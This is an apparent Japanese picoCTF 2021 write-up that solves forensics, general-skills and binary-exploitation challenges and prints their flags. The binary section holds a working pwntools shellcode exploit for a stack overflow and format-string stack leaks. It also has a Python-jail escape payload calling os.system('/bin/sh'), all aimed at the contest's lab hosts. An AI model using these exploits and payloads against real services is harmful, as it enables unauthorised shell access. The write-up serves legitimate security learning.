PS > type '.\Forensics is fun\ppt\slideMasters\hidden' Z m x h Z z o g c G l j b 0 N U R n t E M W R f d V 9 r b j B 3 X 3 B w d H N f c l 9 6 M X A 1 f Q
CyberChef でスペースを切り詰めて、Base64 デコードすると、フラグが表示された。
picoCTF{D1d_u_kn0w_ppts_r_z1p5}
Trivial Flag Transfer Protocol - 90 points
Figure out how they moved the flag.
pcap に変換して、NetworkMiner に読み込ませると、6つのファイルを抽出することができる。
deb ファイルを展開して、中身を確認すると steghide だと判明した。
$ ar vx program.deb x - debian-binary x - control.tar.gz x - data.tar.xz $ tar xvf data.tar.xz ./ ./usr/ ./usr/share/ ./usr/share/doc/ ./usr/share/doc/steghide/ <snip> ./usr/bin/ ./usr/bin/steghide
次に plan というテキストファイルを開くと、以下のように書かれている。
VHFRQGURCEBTENZNAQUVQVGJVGU-QHRQVYVTRAPR.PURPXBHGGURCUBGBF
CyberChef の ROT13 で変換すると、以下のようになる。
IUSEDTHEPROGRAMANDHIDITWITH-DUEDILIGENCE.CHECKOUTTHEPHOTOS
DUEDILIGENCE
を passphrase として picture3.bmp からファイルを抽出すると、flag.txt が出力された。
flag.txt の中身を確認すると、フラグが書かれていた。
$ steghide extract -sf picture3.bmp -p DUEDILIGENCE wrote extracted data to "flag.txt". $ cat flag.txt picoCTF{h1dd3n_1n_pLa1n_51GHT_18375919}
picoCTF{h1dd3n_1n_pLa1n_51GHT_18375919}
Wireshark twoo twooo two twoo... - 100 points
Can you find the flag? shark2.pcapng.
DNS について確認すると、サブドメインのみを切り替えながら何度も問い合わせているのが分かる。
8.8.8.8 以外のサーバ(18.217.1.57)が指定されている問い合わせが怪しいので、18.217.1.57 のみ表示されるようにフィルタリングする。amazonaws.com
や windomain.local
も邪魔なので除外しておく。
dns and ip.dst == 18.217.1.57 and !(dns.qry.name contains "amazonaws.com") and !(dns.qry.name contains "windomain.local")
18.217.1.57 に送られている DNS Query のサブドメインのみを並べ、 CyberChef の From Base64 でデコードすると、フラグが表示された。
picoCTF{dns_3xf1l_ftw_deadbeef}
Disk, disk, sleuth! - 110 points
Use
srch_strings
from the sleuthkit and some terminal-fu to find a flag in this disk image: dds1-alpine.flag.img.gz
ファイルを展開して、strings するとフラグが表示された。
$ gunzip -d dds1-alpine.flag.img.gz $ strings dds1-alpine.flag.img | grep pico ffffffff81399ccf t pirq_pico_get ffffffff81399cee t pirq_pico_set ffffffff820adb46 t pico_router_probe SAY picoCTF{f0r3ns1c4t0r_n30phyt3_ad5c96c0}
picoCTF{f0r3ns1c4t0r_n30phyt3_ad5c96c0}
Disk, disk, sleuth! II - 130 points
All we know is the file with the flag is named
down-at-the-bottom.txt
... Disk image: dds2-alpine.flag.img.gz
Autopsy に読み込ませ、キーワード検索で down-at-the-bottom.txt
と検索すると、該当のファイルが見つかる。
_ _ _ _ _ _ _ _ _ _ _ _ _ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ ( p ) ( i ) ( c ) ( o ) ( C ) ( T ) ( F ) ( { ) ( f ) ( 0 ) ( r ) ( 3 ) ( n ) \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ _ _ _ _ _ _ _ _ _ _ _ _ _ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ ( s ) ( 1 ) ( c ) ( 4 ) ( t ) ( 0 ) ( r ) ( _ ) ( n ) ( 0 ) ( v ) ( 1 ) ( c ) \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ _ _ _ _ _ _ _ _ _ _ _ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ ( 3 ) ( _ ) ( 6 ) ( 9 ) ( a ) ( b ) ( 1 ) ( d ) ( c ) ( 8 ) ( } ) \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
picoCTF{f0r3ns1c4t0r_n0v1c3_69ab1dc8}
Milkslap - 200 points
Chrome DevTools の Network を開きながら、http://mercury.picoctf.net:7585/ にアクセスすると、画像ファイルがダウンロードされていることが分かる。
フォレンジック問題なので、画像をダウンロードして zsteg に読み込ませるとフラグが表示された。
$ wget http://mercury.picoctf.net:7585/concat_v.png $ zsteg concat_v.png imagedata .. file: FoxPro FPT, blocks size 65280, next free block index 30592456 b1,b,lsb,xy .. text: "picoCTF{imag3_m4n1pul4t10n_sl4p5}\n" b1,bgr,lsb,xy .. <wbStego size=9706075, data="\xB6\xAD\xB6}\xDB\xB2lR\x7F\xDF\x86\xB7c\xFC\xFF\xBF\x02Zr\x8E\xE2Z\x12\xD8q\xE5&MJ-X:\xB5\xBF\xF7\x7F\xDB\xDFI\bm\xDB\xDB\x80m\x00\x00\x00\xB6m\xDB\xDB\xB6\x00\x00\x00\xB6\xB6\x00m\xDB\x12\x12m\xDB\xDB\x00\x00\x00\x00\x00\xB6m\xDB\x00\xB6\x00\x00\x00\xDB\xB6mm\xDB\xB6\xB6\x00\x00\x00\x00\x00m\xDB", even=true, mix=true, controlbyte="["> b2,r,lsb,xy .. file: SoftQuad DESC or font file binary b2,r,msb,xy .. file: VISX image file b2,g,lsb,xy .. file: VISX image file b2,g,msb,xy .. file: SoftQuad DESC or font file binary - version 15722 b2,b,msb,xy .. text: "UfUUUU@UUU" b4,r,lsb,xy .. text: "\"\"\"\"\"#4D" b4,r,msb,xy .. text: "wwww3333" b4,g,lsb,xy .. text: "wewwwwvUS" b4,g,msb,xy .. text: "\"\"\"\"DDDD" b4,b,lsb,xy .. text: "vdUeVwweDFw" b4,b,msb,xy .. text: "UUYYUUUUUUUU"
picoCTF{imag3_m4n1pul4t10n_sl4p5}
General Skills(7問)
Obedient Cat - 5 points
This file has a flag in plain sight (aka "in-the-clear"). Download flag.
ダウンロードして、cat で表示するだけ
$ cat flag picoCTF{s4n1ty_v3r1f13d_b5aeb3dd}
picoCTF{s4n1ty_v3r1f13d_b5aeb3dd}
Python Wrangling - 10 points
Python scripts are invoked kind of like programs in the Terminal... Can you run this Python script using this password to get the flag?
ende.py、flag.txt.en、pw.txt をダウンロードして、ende.py を実行する。 ende.py の出力にしたがって、以下のように入力すると、フラグが表示される。
$ python3 ende.py Usage: ende.py (-e/-d) [file] $ python3 ende.py -d flag.txt.en Please enter the password:aa821c16aa821c16aa821c16aa821c16 picoCTF{4p0110_1n_7h3_h0us3_aa821c16}
picoCTF{4p0110_1n_7h3_h0us3_aa821c16}
Wave a flag - 10 points
Can you invoke help flags for a tool or binary? This program has extraordinarily helpful information...
warm をダウンロードして実行する。 warm の出力にしたがって、以下のように入力すると、フラグが表示される。
$ ./warm Hello user! Pass me a -h to learn what I can do! $ ./warm -h Oh, help? I actually don't do much, but I do have this flag here: picoCTF{b1scu1ts_4nd_gr4vy_755f3544}
picoCTF{b1scu1ts_4nd_gr4vy_755f3544}
Nice netcat... - 15 points
There is a nice program that you can talk to by using this command in a shell:
$ nc mercury.picoctf.net 43239
, but it doesn't speak English...
nc mercury.picoctf.net 43239
に接続すると、10進数と思われる数値がいくつか表示される。
CyberChef の From Decimal で変換すると、フラグが表示される。
picoCTF{g00d_k1tty!_n1c3_k1tty!_7c0821f5}
Static ain't always noise - 20 points
Can you look at the data in this binary: static? This BASH script might help!
static、ltdis.sh をダウンロードする。This BASH script might help と書いてあるので、以下のように実行してみる。
$ ./ltdis.sh static Attempting disassembly of static ... Disassembly successful! Available at: static.ltdis.x86_64.txt Ripping strings from binary with file offsets... Any strings found in static have been written to static.ltdis.strings.txt with file offset
static.ltdis.strings.txt と static.ltdis.x86_64.txt の2つのファイルが生成される。 grep してみると、フラグが見つかった。
$ cat static.ltdis.strings.txt | grep pico 1020 picoCTF{d15a5m_t34s3r_1e6a7731}
picoCTF{d15a5m_t34s3r_1e6a7731}
Tab, Tab, Attack - 20 points
Using tabcomplete in the Terminal will add years to your life, esp. when dealing with long rambling directory structures and filenames: Addadshashanammu.zip
Addadshashanammu.zip をダウンロードして、unzip すると、深い階層に fang-of-haynekhtnamet という ELFファイルがある。 これを実行すると、フラグが表示された。
$ cd ./Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku $ ./fang-of-haynekhtnamet *ZAP!* picoCTF{l3v3l_up!_t4k3_4_r35t!_524e3dc4}
picoCTF{l3v3l_up!_t4k3_4_r35t!_524e3dc4}
Magikarp Ground Mission - 30 points
Do you know how to move between directories and read files in the shell? Start the container,
ssh
to it, and thenls
once connected to begin. Login viassh
asctf-player
with the password,6d448c9c
問題説明欄の横の Lunch Instance でインスタンスを起動する。 SSH の接続先情報が出てくるので、ssh でアクセスする。
問題に書かれている通り、ls すると、フラグの一部と次の命令が書かれたファイルが見つかる。 同じように指示にしたがいながら、コマンドを実行すると、すべてのフラグが見つかる。
$ ls 1of3.flag.txt instructions-to-2of3.txt $ cat 1of3.flag.txt instructions-to-2of3.txt picoCTF{xxsh_ Next, go to the root of all things, more succinctly `/` $ cd / $ ls 2of3.flag.txt boot etc instructions-to-3of3.txt lib64 mnt proc run srv tmp var bin dev home lib media opt root sbin sys usr $ cat 2of3.flag.txt instructions-to-3of3.txt 0ut_0f_\/\/4t3r_ Lastly, ctf-player, go home... more succinctly `~` $ cd ~ $ ls 3of3.flag.txt drop-in $ cat 3of3.flag.txt 5190b070}
picoCTF{xxsh_0ut_0f_\/\/4t3r_5190b070}
Binary Exploitation(6問)
Binary Gauntlet 0 - 10 points
This series of problems has to do with binary protections and how they affect exploiting a very simple program. How far can you make it in the gauntlet? gauntlet
nc mercury.picoctf.net 12294
Ghidra でデコンパイルして処理を確認すると、SIGSEGV が発生したときにフラグを表示するという処理が書かれていた。
バッファサイズが 1000 バイトで用意されているので、適当な値を 2000 バイトぐらい与えると、SIGSEGV が起きる。
$ echo "picoCTF{TEST_FLAG}" > flag.txt $ python3 -c "print('\r' * 2000)" | ./gauntlet picoCTF{TEST_FLAG}
リモートでも同様に実行すると、フラグが表示される。
$ python3 -c "print('\r' * 2000)" | nc mercury.picoctf.net 12294 fbd01d62c0e369e6de3d63b4b21d3830
fbd01d62c0e369e6de3d63b4b21d3830
Stonks - 20 points
I decided to try something noone else has before. I made a bot to automatically trade stonks for me using AI and machine learning. I wouldn't believe you if you told me it's unsecure! vuln.c
nc mercury.picoctf.net 53437
%p
を入力すると、スタックが表示されたので、Format String Bug がある。
$ python3 -c 'print("1\n" + "%p." * 50)' | nc mercury.picoctf.net 53437 Welcome back to the trading app! What would you like to do? 1) Buy some stonks! 2) View my portfolio Using patented AI algorithms to buy stonks Stonks chosen What is your API token? Buying stonks with token: 0x9704410.0x804b000.0x80489c3.0xf7f4ad80.0xffffffff.0x1.0x9702160.0xf7f58110.0xf7f4adc7.(nil).0x9703180.0x2.0x97043f0.0x9704410.0x6f636970.0x7b465443.0x306c5f49.0x345f7435.0x6d5f6c6c.0x306d5f79.0x5f79336e.0x34636462.0x61653532.0xff9a007d.0xf7f85af8.0xf7f58440.0x49625900.0x1.(nil).0xf7de7be9.0xf7f590c0.0xf7f4a5c0.0xf7f4a000.0xff9a6c48.0xf7dd858d.0xf7f4a5c0.0x8048eca.0xff9a6c54.(nil).0xf7f6cf09.0x804b000.0xf7f4a000.0xf7f4ae20.0xff9a6c88.0xf7f72d50.0xf7f4b890.0x49625900.0xf7f4a000.0x804b000.0xff9a6c88. Portfolio as of Mon Apr 5 01:20:56 UTC 2021 2 shares of DSCV 2 shares of RSJR 11 shares of LDZB 12 shares of L 4 shares of L 24 shares of PEI 771 shares of TRAS 190 shares of YSZ 343 shares of GGP Goodbye!
文字列に変換すると、フラグっぽい文字列が確認できる。
$ python3 -c 'print("1\n" + "%p." * 50)' | nc mercury.picoctf.net 53437 | tr "." "\n" | xxd -r -p | strings -n1 = K H 0 @ ; = ocip{FTC0l_I4_t5m_ll0m_y_y3n4cdbae52 } @ 8 H D K x mP K x FR
リトルエンディアンで文字列が反転しているので、適当に修正するとフラグになった。
python3 -c 'print("1\n" + "%p." * 50)' | nc mercury.picoctf.net 53437 | tr "." "\n" | while read line; do echo $line | xxd -r -p | strings -n1 | rev; done | tr -d "\n" | grep -oE "picoCTF{.*}" picoCTF{I_l05t_4ll_my_m0n3y_bdc425ea}
picoCTF{I_l05t_4ll_my_m0n3y_bdc425ea}
Binary Gauntlet 1 - 30 points
Okay, time for a challenge. gauntlet
nc mercury.picoctf.net 19968
strcpy のところで Buffer Overflow するので、そこを利用して Shellcode を実行する。
まずは、pattc と patto でオーバーフローする箇所の offset を求める。
$ gdb -q ./gauntlet gdb-peda$ pattc 1000 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x' gdb-peda$ run Starting program: /root/workdir/gauntlet 0x7fffffffe1b0 A A AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x
[----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7ab09c0 (<__strcpy_sse2_unaligned+976>: mov rdx,QWORD PTR [rsi]) RDX: 0x24415a24417724 ('$wA$ZA$') RSI: 0x6023f0 --> 0x24415a24417724 ('$wA$ZA$') RDI: 0x7fffffffe590 --> 0x24415a24417724 ('$wA$ZA$') RBP: 0x41414e4141384141 ('AA8AANAA') RSP: 0x7fffffffe228 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...) RIP: 0x40074e (<main+199>: ret) R8 : 0x24415a2441772441 ('A$wA$ZA$') R9 : 0x2441702441532441 ('A$SA$pA$') R10: 0x7fffffffdf60 --> 0x0 R11: 0x7ffff7b8cfe0 --> 0xfff23980fff23970 R12: 0x4005a0 (<_start>: xor ebp,ebp) R13: 0x7fffffffe300 ("lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPA"...) R14: 0x0 R15: 0x0 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x400743 <main+188>: call 0x400550 <strcpy@plt> 0x400748 <main+193>: mov eax,0x0 0x40074d <main+198>: leave => 0x40074e <main+199>: ret 0x40074f: nop 0x400750 <__libc_csu_init>: push r15 0x400752 <__libc_csu_init+2>: push r14 0x400754 <__libc_csu_init+4>: mov r15,rdx [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe228 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...) 0008| 0x7fffffffe230 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...) 0016| 0x7fffffffe238 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...) 0024| 0x7fffffffe240 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...) 0032| 0x7fffffffe248 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%S"...) 0040| 0x7fffffffe250 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%"...) 0048| 0x7fffffffe258 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA"...) 0056| 0x7fffffffe260 ("AuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%W"...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x000000000040074e in main () gdb-peda$ patto jAA9AAOAAkAAPA jAA9AAOAAkAAPA found at offset: 120
offset が120だと分かったので、後は Shellcode を呼び出すように調整する。 以下のスクリプトを実行すると、シェルを取ることができた。
#!/usr/bin/env python3 from pwn import * ARCH = 'amd64' FILE = './gauntlet' LIBC = '' HOST = 'mercury.picoctf.net' PORT = 19968 GDB_SCRIPT = ''' break main continue ''' def exploit(io, elf, libc, rop): rdata = io.readuntil(b'\n').strip() buf_addr = int(rdata, 16) log.info(f'buffer address: {hex(buf_addr)}') io.sendline(b'A') offset = 120 shellcode = asm(shellcraft.sh()) payload = shellcode payload += b'A' * (offset - len(shellcode)) payload += pack(buf_addr) log.info(f'payload: {payload}') io.sendlineafter(b'A\n', payload) def main(): context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO') elf = ELF(FILE) if os.path.exists(FILE) else None rop = ROP(elf) if elf is not None else None if args['REMOTE']: io = remote(HOST, PORT) libc = ELF(LIBC) if os.path.exists(LIBC) else None else: if FILE == '': return io = process([FILE]) libc = elf.libc if args['GDB']: pid = proc.pid_by_name(os.path.basename(FILE)) gdb.attach(pid[0], GDB_SCRIPT) exploit(io, elf, libc, rop) io.interactive() if __name__ == '__main__': main()
$ python3 exploit.py REMOTE [*] '/root/workdir/gauntlet' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments [*] Loaded 14 cached gadgets for './gauntlet' [+] Opening connection to mercury.picoctf.net on port 19968: Done [*] buffer address: 0x7fffffffeb40 [*] payload: b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\xeb\xff\xff\xff\x7f\x00\x00' [*] Switching to interactive mode $ id uid=1651(binary-gauntlet-1_4) gid=1652(binary-gauntlet-1_4) groups=1652(binary-gauntlet-1_4) $ ls flag.txt gauntlet gauntlet_no_aslr xinet_startup.sh $ cat flag.txt 7504344981b9288c5669150ada84894e $
7504344981b9288c5669150ada84894e
What's your input? - 50 points
We'd like to get your input on a couple things. Think you can answer my questions correctly? in.py
nc mercury.picoctf.net 61858
.
pyjail 系の問題のように見えるので、__builtins__.__dict__['eval']('__import__(\"os\").system(\"/bin/sh\")')
と入力してみたところ、シェルを取ることができた。
$ nc mercury.picoctf.net 61858 What's your favorite number? Number? __builtins__.__dict__['eval']('__import__(\"os\").system(\"/bin/sh\")') id uid=1272(what-s-your-input-_4) gid=1273(what-s-your-input-_4) groups=1273(what-s-your-input-_4) ls city_names.txt flag in.py xinet_startup.sh cat flag picoCTF{v4lua4bl3_1npu7_7607377}
picoCTF{v4lua4bl3_1npu7_7607377}
Binary Gauntlet 2 - 50 points
How does ASLR affect your exploit? gauntlet
nc mercury.picoctf.net 49704
Ghidra で確認すると、10行目に Format String Bug、15行目で Buffer Overflow ができそうだと分かる。
ASLR が有効なので、Format String Bug でスタックをリークさせ、そのアドレスを基に Shellcode を呼び出せばよい。
まず 0x4006da に Breakpoint を置いて、printf 後のスタックを確認する。
Breakpoint 1, 0x00000000004006da in main () gdb-peda$ stack 20 0000| 0x7fffffffe1d0 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet") 0008| 0x7fffffffe1d8 --> 0x100000000 0016| 0x7fffffffe1e0 --> 0x0 0024| 0x7fffffffe1e8 --> 0x7fffffffe348 --> 0x7fffffffe598 ("TERM_PROGRAM=vscode") 0032| 0x7fffffffe1f0 --> 0x1 0040| 0x7fffffffe1f8 --> 0x7fffffffe270 --> 0x100000001 0048| 0x7fffffffe200 --> 0x7ffff7ffe1c8 --> 0x0 0056| 0x7fffffffe208 --> 0x0 0064| 0x7fffffffe210 --> 0x1 0072| 0x7fffffffe218 --> 0x40077d (<__libc_csu_init+77>: add rbx,0x1) 0080| 0x7fffffffe220 --> 0x7fffffffe250 --> 0x0 0088| 0x7fffffffe228 --> 0x0 0096| 0x7fffffffe230 --> 0x400730 (<__libc_csu_init>: push r15) 0104| 0x7fffffffe238 --> 0x4005a0 (<_start>: xor ebp,ebp) 0112| 0x7fffffffe240 --> 0x7fffffffe330 --> 0x1 0120| 0x7fffffffe248 --> 0x602010 --> 0xa70243625 ('%6$p\n') 0128| 0x7fffffffe250 --> 0x0 0136| 0x7fffffffe258 --> 0x7ffff7a32f45 (<__libc_start_main+245>: mov edi,eax) 0144| 0x7fffffffe260 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet") 0152| 0x7fffffffe268 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet")
次に 0x400721 に Breakpoint を置いて、strcpy 後のスタックを確認する。
Breakpoint 2, 0x0000000000400721 in main () gdb-peda$ stack 20 0000| 0x7fffffffe1d0 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet") 0008| 0x7fffffffe1d8 --> 0x100000000 0016| 0x7fffffffe1e0 ('A' <repeats 98 times>, "\n") 0024| 0x7fffffffe1e8 ('A' <repeats 90 times>, "\n") 0032| 0x7fffffffe1f0 ('A' <repeats 82 times>, "\n") 0040| 0x7fffffffe1f8 ('A' <repeats 74 times>, "\n") 0048| 0x7fffffffe200 ('A' <repeats 66 times>, "\n") 0056| 0x7fffffffe208 ('A' <repeats 58 times>, "\n") 0064| 0x7fffffffe210 ('A' <repeats 50 times>, "\n") 0072| 0x7fffffffe218 ('A' <repeats 42 times>, "\n") 0080| 0x7fffffffe220 ('A' <repeats 34 times>, "\n") 0088| 0x7fffffffe228 ('A' <repeats 26 times>, "\n") 0096| 0x7fffffffe230 ('A' <repeats 18 times>, "\n") 0104| 0x7fffffffe238 ("AAAAAAAAAA\n") 0112| 0x7fffffffe240 --> 0x7fff000a4141 0120| 0x7fffffffe248 --> 0x602010 ('A' <repeats 98 times>, "\n") 0128| 0x7fffffffe250 --> 0x0 0136| 0x7fffffffe258 --> 0x7ffff7a32f45 (<__libc_start_main+245>: mov edi,eax) 0144| 0x7fffffffe260 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet") 0152| 0x7fffffffe268 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet")
A が格納されている箇所が、0x7fffffffe1e0 なので、このアドレスをリターンアドレスに書き込めばよい。 0x7fffffffe338 を Format String Bug でリークさせて 0x158 を引けば、0x7fffffffe1e0 になる。
%p をいくつか入力して、何番目の場所をリークさせればよいのかを確認する。 6 行目の箇所がちょうど GDB で確認したときの 0x7fffffffe338 の位置に該当するので、ここをリークさせればよい。
$ python3 -c "print('%p.' * 20)" | ./gauntlet | tr "." "\n" | nl 1 0x7ffff7ff603d 2 0x7ffff7dd59f0 3 0x70252e70252e7025 4 0x7ffff7ff603d 5 0x70252e70252e7025 6 0x7fffffffe348 7 0x100000000 8 (nil) 9 0x7fffffffe358 10 0x1 11 0x7fffffffe280 12 0x7ffff7ffe1c8 13 (nil) 14 0x1 15 0x40077d 16 0x7fffffffe260 17 (nil) 18 0x400730 19 0x4005a0 20 0x7fffffffe340
上記の情報を基に、スクリプトを書いて実行すると、シェルを取ることができた。
